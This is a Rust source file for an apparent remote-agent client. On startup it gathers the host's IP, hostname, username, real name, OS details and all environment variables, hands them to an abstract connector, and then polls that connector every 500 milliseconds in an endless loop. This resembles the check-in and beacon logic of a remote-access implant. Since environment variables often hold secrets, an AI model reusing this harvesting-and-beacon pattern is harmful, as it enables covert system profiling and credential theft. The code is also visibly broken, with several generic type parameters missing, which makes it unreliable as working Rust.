use gethostname::gethostname; use std::{net::IpAddr, thread::sleep, time::Duration}; use whoami::{DesktopEnv, Language}; use crate::connector::Connection; pub struct Client<'a, C: Connection> { pub connector: C, ip: Option, hostname: String, device_name: String, os: &'a str, cpu_arch: &'a str, distro: String, desktop_env: DesktopEnv, username: String, realname: String, langs: Option>, env: Vec<(String, String)>, } impl<'a, C: Connection> std::fmt::Display for Client<'a, C> { fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { write!( f, "IP: {:?}\n\ Hostname: {}\n\ Device Name: {}\n\ OS: {}\n\ CPU Architecture: {}\n\ Distro: {}\n\ Desktop Environment: {:?}\n\ Username: {}\n\ Real Name: {}\n\ Languages: {:?}\n\ Environment Variables: {:?}\n", self.ip, self.hostname, self.device_name, self.os, self.cpu_arch, self.distro, self.desktop_env, self.username, self.realname, self.langs, self.env ) } } impl<'a, C: Connection> Client<'a, C> { pub fn new(connector: C) -> Result { let c = Self { ip: connector.get_ip(), connector, hostname: gethostname().into_string().unwrap_or_default(), device_name: whoami::devicename(), os: std::env::consts::OS, cpu_arch: std::env::consts::ARCH, distro: whoami::distro(), desktop_env: whoami::desktop_env(), username: whoami::username(), realname: whoami::realname(), langs: match whoami::langs() { Ok(it) => Some(it.collect()), Err(_) => None, }, env: std::env::vars().collect(), }; c.connector.init(&c)?; Ok(c) } pub fn enter_loop(mut self) -> ! { loop { sleep(Duration::from_millis(500)); self.connector.tick(); } } }